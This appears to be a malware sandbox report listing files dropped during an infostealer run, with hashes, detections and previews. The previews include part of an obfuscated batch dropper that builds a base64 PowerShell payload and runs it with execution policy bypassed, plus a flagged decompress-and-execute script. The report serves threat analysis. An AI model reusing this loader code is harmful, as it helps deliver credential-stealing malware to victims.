SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCAKFCGC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1366744760037832
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cZ/Q4:MnlyfnGtxnfVuSVumEHZY4
MD5:	403AF73130A55F1DF5D5D597717A386C
SHA1:	AA0262EE3F7188D59D5859AF240B725AA9252212
SHA-256:	A225C7166B6841D04F34589DB373472CA34525F88A644B5903733563372642AD
SHA-512:	B70388D614814369D8DB9E4F3F20FB2F16EED5A65893DC7A8872E8FC462A7338F929A0777B4D18B77E1F4A6864CDA790ABD91116C9D1483DFFB64173699EEAEF
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCGIJDBAFCBAAKECGDGCBKFIDG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCGDGHCBGDHJJKECAECBAEGCBG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03779668081370459
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZh1B++NbBl3D56+9H9HI:58r54w0VW3xWZhW+Ff3AW9
MD5:	F5A3FAA39A2FDA10356E1889BC81EA55
SHA1:	FD4D7CF58C33C8583E45D88A2F89B8F66770644B
SHA-256:	55BDD67E95C3B441AE02D26939E484E14B14550F5A273F3E35ADE569ABA8FAF9
SHA-512:	28766C6C4FCB65CF9B436ED51708FABF3E2D8F8B3344F80B64A93994EE170DBB25025DBDB164A22636C1354139215A8B4181AC35D9E98A9950E9C1ECF1473D7F
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIIIIEGHDGDBFIDGHDAFCAFBGH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8501914549146043
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBOKq/hFKipNzF23ukuE1:ThFawNLopFgU10XJBODhFKMxk1
MD5:	3BD8534EE37F707CEE75F67A6F27C5BD
SHA1:	C02E6D9D228504D8C11FD7F24D26B367AB013D46
SHA-256:	2AA70608BCC9634BD4C977584969B0FC26C5B612C3D9706290A1CDA5D55941CF
SHA-512:	30828B32AD1D9D1A71A81686133123868B34C4BC67B8E321A7B3F5E875E3C836E5BE5B6B0C458349ED88F8ECC167AF4C29C7E678DF9822E2685850FF5F45E8DE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJJKJJDHCGCAECAAECFHDAECFH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJKJDAEB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KEGDBFIJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1209935793793442
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8lZqhAj3NniAGl:r2qOB1nxCkvSAELyKOMq+8lMAjdnG
MD5:	214CFA91B0A6939C4606C4F99C9183B3
SHA1:	A36951EB26E00F95BFD44C0851827A032EAFD91A
SHA-256:	660DE0DCC188B3C35F8693DA4FE3EABD70D55A3AA32B7FDD6353FDBF04F702D7
SHA-512:	E2FA64C41FBE5C576C0D79C6A5DEF0EC0A49BB2D0D862223E761429374294332A5A218E03C78A0D9924695D84B10DC96BCFE7DA0C9972988D33AE7868B107789
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: EcNghZJd5O.exe, Detection: malicious, Browse Filename: PIa51EkBL7.exe, Detection: malicious, Browse Filename: G2KdVscPB4.exe, Detection: malicious, Browse Filename: ofrAxT2J4j.exe, Detection: malicious, Browse Filename: Rechnung.pdf.lnk, Detection: malicious, Browse Filename: Esp.exe, Detection: malicious, Browse Filename: ir95invGki.exe, Detection: malicious, Browse Filename: AZMtlFz66o.exe, Detection: malicious, Browse Filename: uaLNvY1Piu.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: EcNghZJd5O.exe, Detection: malicious, Browse Filename: PIa51EkBL7.exe, Detection: malicious, Browse Filename: G2KdVscPB4.exe, Detection: malicious, Browse Filename: ofrAxT2J4j.exe, Detection: malicious, Browse Filename: Rechnung.pdf.lnk, Detection: malicious, Browse Filename: Esp.exe, Detection: malicious, Browse Filename: ir95invGki.exe, Detection: malicious, Browse Filename: AZMtlFz66o.exe, Detection: malicious, Browse Filename: uaLNvY1Piu.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\-temp.bat

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	DOS batch file, ASCII text, with very long lines (58994), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	209296
Entropy (8bit):	6.026023867587116
Encrypted:	false
SSDEEP:	3072:YZ5q1dIOxM7uywhXemKY2GDM676x3P6qpsIRRpAdJ6PjzqqaTehW6+Goun9Oem1Z:e+PLjkf7VGrrPrmKCeFIzxzwhFfyGWzC
MD5:	72B17467A49B7813856FA604D1D291C8
SHA1:	3116D07854D56F0BC505BE8B80804A7319208739
SHA-256:	E24AADDFA2ECE0891AD7B3C51779C65BBF95E4FDED59FC46FE4FEF311E1DE3E1
SHA-512:	38C99CC716097EE7CB642203432FFBD1EF6CE8A0C9B21AA2827962B82456ECB3113FA1EDD362AAB013737E3BDFB2D0803145FC0CAF612054BA47F6454C3A4843
Malicious:	false
Preview:	@echo off....setlocal enabledelayedexpansion..set "zlrUNoyluF=%userprofile%\-temp.ps1"..set WLmSMeTxhy=%SystemRoot%\SysWow64\WindowsPowerShell\v1.0\powershell.exe..set "AoMKRVmwJg=%~dp0%~nx0".... copy "%AoMKRVmwJg%" "%userprofile%\-temp.bat" >nul.... if exist "%zlrUNoyluF%" (.. "%WLmSMeTxhy%" -ExecutionPolicy Bypass -File "%zlrUNoyluF%".. exit..)....set mcfuUYYjEk=..set SnDdmLPSpa_0=ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSk..set mcfuUYYjEk=!mcfuUYYjEk!!SnDdmLPSpa_0!..set SnDdmLPSpa_1=geyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLk..set mcfuUYYjEk=!mcfuUYYjEk!!SnDdmLPSpa_1!..set SnDdmLPSpa_2=NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0Y..set mcfuUYYjEk=!mcfuUYYjEk!!SnDdmLPSpa_2!..set SnDdmLPSpa_3=SkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBb..set mcfuUYYjEk=!mcfuUYYjEk!!SnDdmLPSpa_3!..set SnDdmLPSpa_4=SU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFt..set mcfuUYYjEk=!mcfuUYYjEk!!SnDdmLPSpa_4!..set SnDdmLPSpa_5=JTy5Db21wcmVzc2lvbi5Db21

C:\Users\user\-temp.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (488), with CRLF line terminators
Category:	dropped
Size (bytes):	2005
Entropy (8bit):	5.310360137356099
Encrypted:	false
SSDEEP:	48:IJH3AmLXIbs7krawQkIKKx7eKEWh4SNtRN3Hw3f36JT:I5NXt9gQ4SNLN3+fe
MD5:	EE6D2D219D1AFFB98FB9DC1DE51D895E
SHA1:	AAA2CEB5F7214C76B8A050A06D257CDC30D6BB48
SHA-256:	017FB2BEDC94F0480D208611DF6B42589D407FC4338E1F5DC1E00A9FD52752E0
SHA-512:	52139B56AF32835B93FB8EB93B553325E36654DEBE5C15E6B61930FFE8027E0EE5EB0998DA4C37EC047C052522A022D7103C33D7495EB1A3504CFEE1780229BF
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDedcodeAndExecute, Description: Yara detected Powershell dedcode and execute, Source: C:\Users\user\-temp.ps1, Author: Joe Security
Preview:	.function DecompressBytes($compressedData) { $ms = [IO.MemoryStream]::new(([System.Convert]::FromBase64String($compressedData))); $ms.Position = 0; $deflateStream = [IO.Compression.DeflateStream]::new($ms, [IO.Compression.CompressionMode]::Decompress); $buffer = [byte[]]::new(4096); $ms = [IO.MemoryStream]::new(); while ($true) { $count = $deflateStream.Read($buffer, 0, $buffer.Length); if ($count -eq 0) { break } $ms.Write($buffer, 0, $count) } $deflateStream.Close(); $ms.ToArray() }....function ReverseString($inputString) {.. $charArray = $inputString.ToCharArray() # Convert string to character array.. $reversedArray = $charArray[-1..-($charArray.Length)] # Reverse the array.. $reversedString = -join $reversedArray # Convert the reversed array back to a string.. return $reversedString..}....function Close-Process {.. param(.. [string]$ProcessName.. ).... $process = Get-Process -Name $ProcessName -ErrorAction SilentlyContinue.... if ($process -ne $n

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\sqlm[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\76561199658817715[1].htm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3041), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	34657
Entropy (8bit):	5.429979018196766
Encrypted:	false
SSDEEP:	768:k7pqLtWY2wt5D0gqxAiNGAhZ4VWBCW3KI8iCfukPco1AU2Z4VWBCW3KI8iKh2S2r:k78LtWY2wt5D0gqxAchZ4VWBCW3KI8iL
MD5:	F7B166FC285599A3A64DAC64837DE25B
SHA1:	AEFC21EC3540AA8F61677C4358AF17156E905E8D
SHA-256:	B0EA086C6742DE5B3D2BA1DF971670F28164E8FCA1327D8F6174B82689177921
SHA-512:	8F38BD238D6E4592A2A078C8F004DE6F6AA43C2E61313435436BF4E724B09CE1A954C95804B5A5EDB2F4FBD1AA5025F1941B6B879CAEBD47F79FB080ACFF0579
Malicious:	false
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: fgsh https://78.46.229.36\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=Zj8Lt-uyXH8R&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/css/globalv2.css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
